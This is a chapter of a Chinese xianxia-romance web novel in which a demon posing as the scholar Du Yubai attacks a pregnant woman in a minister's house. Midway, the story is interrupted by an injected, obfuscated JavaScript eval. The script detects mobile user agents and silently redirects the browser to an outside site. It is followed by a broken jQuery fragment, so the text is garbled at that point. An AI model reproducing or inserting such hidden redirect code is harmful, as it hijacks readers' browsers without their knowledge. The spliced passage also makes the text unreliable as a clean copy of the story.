10. 偿情债
作品:《黄道吉日宜追妻》 府门打开,杜逾白一身白衣站在府前,男子身形挺拔,宽袖飘飘,虽还未真正入仕,却已有清贫父母官之意。
听到门口的动静,杜逾白抬起头来,双手作揖朝着来人略微躬身行礼。
“邓大人安好,逾白不请自来实为无奈,家中老母重病,逾白匆忙离京,未能及时禀报邓大人是逾白考虑不周,还请邓大人莫要责怪逾白。”
杜逾白眉间花白,不知是星霜还是露水,看样子必定是连夜进京,未休息便赶来尚书府请罪。
邓大人打心底喜欢这位寒门状元,正打算招为女婿,又怎会责怪他的不辞而别。
思及此,邓大人摆了摆手以示不打紧,而后转身回府,脚跨入门槛的瞬间动作一顿,他猛地回头看着杜逾白,脸上笑意浮现。
“逾白啊,本官虽不责怪你突然间消失数日,但若是就这么放过你,本官怕是没法向吏部里的人交代啊,他们可是苦苦找寻你多日,总得给人一个交代。”
邓大人走下台阶来到杜逾白身边,拍了拍他的肩头,语重心长说道。
听闻此话,杜逾白额间冒出密密汗珠,却又不敢多言,生怕邓大人一声令下便取消了他的进士资格。
“按邓大人的意思,逾白该如何做?”杜逾白十分上道,当下便理解了邓大人话里的意思。
“哈哈哈哈不愧是几位大人都争着要的状元,就是聪明!”邓大人朝府内扬了扬下巴,随后转身上了阶梯。
杜逾白即刻明白,只见他单手撩起身前衣摆,拾阶而上跟着邓大人跨进府中。
前方不远处,一名侍女快步上前朝邓大人小声禀报着什么,眼睛不是瞥向他,杜逾白也不急,就这么立在原地,目不斜视。
不知邓大人吩咐了什么,侍女又看了杜逾白一眼,点头应下,随后向杜逾白走来。
“杜状元,我家老爷留您吃杯茶,您请随我来。”侍女低着头站在杜逾白身侧,一副言听计从的样子。
想必邓大人有话要说。
杜逾白也不推辞,朝邓大人点头示意后便跟着侍女越过拱门,径直走向邓府深处。也不知邓大人说的那杯茶,究竟在何处。
拱门外,邓大人官服未褪,一袭红衣站在绿树下,此时正阴笑着看向前方渐渐远去的白衣男子。
杜逾白既然来了,那他可不能让人就这么白白离开,眼下邓夜思正衣冠不整地躺在床榻上,不如趁机让二人见上一面,到时候他再令人传出些风声,这状元女婿不就到手了么?
“待那杜状元进了娘子的院落后,即刻!马上!给我把院门反锁,没有我的命令谁也不许打开,否则……”邓大人抬起巴掌,嘴巴朝下一抿,恶狠狠道,“若是让人溜走了,看我不打死你们!”
*
院落,茶室。
邓夜思半蹲在矮桌前冲茶,脸上笑意盈盈。
洛娘子好不容易来府上,她高低要让人试试她的新茶叶,那可是贾郎特意从江南带过来的,她此前一直舍不得喝。
“洛娘子稍后片刻,茶水马上就好。”邓夜思忙前忙后,一会又端着茶壶在房中转悠,看起来心情好了许多,只见她忙了好一会儿,忽然单手撑着后腰,上半身略有些往后倚。
“歇会儿罢,我来替你冲,”洛卿龄急忙上前接过茶壶,扶着邓夜思坐下,“邓娘子如今怀有身孕,可不能这般折腾,还是我来罢!”
听闻此话,邓夜思捂嘴一阵笑,整个人歪在矮塌上,她看着洛卿龄熟练的冲茶手法,笑道:“你唤我夜思罢,没想到卿卿还会冲茶,想来几日后的茶宴卿卿定是有所准备了罢?”
“何为茶宴?”洛卿龄并不在京中长大,对于京城各大宴会自然是不知情。她手下动作未停,边冲茶边问道。
“每年开春皇后会在宫中举办茶宴,届时会邀请各大官员及家眷进宫吃茶,”邓夜思说到一半,忽地爬起来凑近洛卿龄,满脸贼笑,“卿卿还未许给哪家罢?不如趁这个机会挑个如意郎君,就留在京城与我作伴!”
“我才刚及笄,还早着呢,况且我才不愿……罢了罢了,跟你说不通,你就莫要开我的玩笑了!”
洛卿龄眼下心里记挂的都是父亲,而她也正是为了父亲的事儿,才千里迢迢奔赴京城。
正巧前段时日皇后称为小殿下秦砚珩相看,她想着不如趁这个机会与秦砚珩攀上关系,好让人开口将父亲调回京城养病,谁知……
“好了好了,我不说便是了,你又发什么呆——”邓夜思伸手在洛卿龄眼前晃了晃,语气有些不满,“我知你们不愿过早出嫁,因为在家跟着父母和在外跟着婆母的感觉总归是不同的,可卿卿你也看到了,我这情况还不如跟贾郎私奔。”
事到如今,邓夜思还是满脑子的贾郎……洛卿龄不想让邓夜思继续忧愁下去,急忙将茶盏推到她面前,硬是止住了话题。
院外脚步声传来,二人只当是侍女,并未过多关注,洛卿龄站起来正要倒掉茶渣,转身却见茶室门口珠帘晃动,男子身影出现在房外。
“何人在外面?”洛卿龄扬声问道,回应她的则是不停摆动的帘子,“究竟是何人,再不出来……”
话音赫然消失,一双白净的手从外撩开珠帘,男子低着头略微躬身走了进来,只见他越过洛卿龄径直朝着邓夜思走去。
“杜状元?”洛卿龄见过此人,那夜在曲江宴上二人打过照面。
杜逾白这般无礼地闯进茶室,究竟意欲何为?再者,他又是如何进来的,总不能是邓大人故意放进来……不过邓大人一直想招他为婿,能有此举也是意料之中。
她越想越不对,急忙上前拦下杜逾白:“杜公子有何要事不如直说,擅闯茶室怕是不妥。”
“逾白不过是来讨杯茶喝,这位小娘子为何如此紧张。”杜逾白停住脚步,站在原地背对洛卿龄,“难不成作为新科进士,连尚书府的一杯茶也喝不得么?”
“我何时说过不许杜公子喝茶?”洛卿龄站在原地,眯眼盯着杜逾白的背影,一脸警惕。
她在杜逾白看不见的地方,快速给邓夜思一个眼神,示意后者赶紧离开。
“小娘子这番话不正是不欢迎逾白的意思么?”杜逾白一动不动,唯有声音传出,令人有些摸不着头脑。
邓夜思手掌撑着矮塌,双脚悄悄朝门外挪去,就在她准备起身离开时,只见杜逾白右脚忽地一动,继续朝她走来。邓夜思仰头愣怔地看着愈来愈近的杜逾白,不知为何竟没了声响。
杜逾白不对劲!
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15641135|172721||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
洛卿龄藏在袖中的手暗暗抓紧金龙剑,另一只手端着茶壶快步上前,随后假装脚下一滑,装满烫水的茶壶猛地往前一泼,茶水加深了杜逾白半边衣袖的颜色。
“杜公子,实在是不好意……呃!”
脖子蓦地被一道黑线缠住,洛卿龄瞪大眼睛看着杜逾白,后者轻笑一声缓缓转身,脖颈上红痕明显——是那夜捉走邓夜思和姑母等人的妖怪!
洛卿龄瞥了一眼邓夜思略微隆起的小腹,顿时反应过来:扮成杜逾白的妖怪正是为了邓夜思腹中的珠胎而来!
手中金龙剑微微晃动,想必是感受到了妖气。
洛卿龄持剑的那只手藏在身后,她仰头瞪着杜逾白,想趁其不备偷袭一招,可谁知杜逾白似是看穿了洛卿龄的心思。
只见他略微躬身凑近她,薄唇轻启,一缕黑烟从嘴里吐出,顿时将洛卿龄包围起来。
什么东西。
洛卿龄正要抬起金龙剑,却发现自己竟动弹不了一分。坏了,几日不见妖怪变聪明了,居然知道害人前要先把人定住,不让猎物有逃跑的机会。
她咬紧后槽牙,持剑的手使力往前甩,可无论如何努力,她像是找不准发力点似的抬不起手,只能眼睁睁看着杜逾白走向邓夜思。
绝不能让他吸走邓夜思肚子里的孩子!
洛卿龄心底一阵恶寒,金龙剑在手中不停振动,她却无能为力。
眼前,邓夜思仰面躺在矮塌上,小腹处冒出根根白丝,杜逾白半跪在她身前,闭上眼睛满脸享受的表情,他微微张嘴,一道道白丝从邓夜思腹部飞向他的嘴里。
不行!
情急之下,洛卿龄攥紧剑柄的手动了动,一道金光从剑身飞出,眨眼便刺向杜逾白的后背,在其身后留下一个大窟窿,身体残破,却无鲜血流出,反而是一股股黑烟从里冒出。
杜逾白愣在原地,慢慢低头看向自己缺了一块的身体,而后缓缓站起身转头看向洛卿龄,嘴里仍在不停吸食白丝珠胎。
在其身后,邓夜思似是失去了意识,直直盯着房梁,眼里无光,随着最后一根白丝从她腹中飞出,邓夜思瞬间化成陶俑。
这妖怪实在是嚣张至极!青天白日竟闯入他人府中就这么……这么把人变成陶俑了?
洛卿龄挣扎着摆脱控制自己的黑烟,谁知那黑烟像是有意识似的,越缠越紧,到最后她竟是连呼吸都困难。
只见那杜逾白收着下巴脸色阴沉,那双黑得发白的眼睛却死死盯着洛卿龄,他一动不动,像是在思考如何解决她。
“臭妖怪,你若是敢动我一分一毫,我定让你出不了这个茶室!”洛卿龄扬声骂道,只为了给自己壮胆,毕竟眼下胜负分明,她可不能输得如此没面子,死前好歹也挣扎一下。
杜逾白像是听不到一般,脸上没有一丝表情,抬起脚缓缓朝她走来,胸前那道方才被金龙剑剑风刺穿的窟窿不停冒出黑烟。
坏了坏了,这回出不了茶室的就是她了——洛卿龄猛然闭上眼睛,心里祈祷死时不要那么痛苦。
黄符飞出,直直贴在杜逾白额间,后者定在原地,洛卿龄闭着眼并未看到此番景象。
忽觉耳边清风拂过,吹起鬓角碎发,伴着一声嗤笑。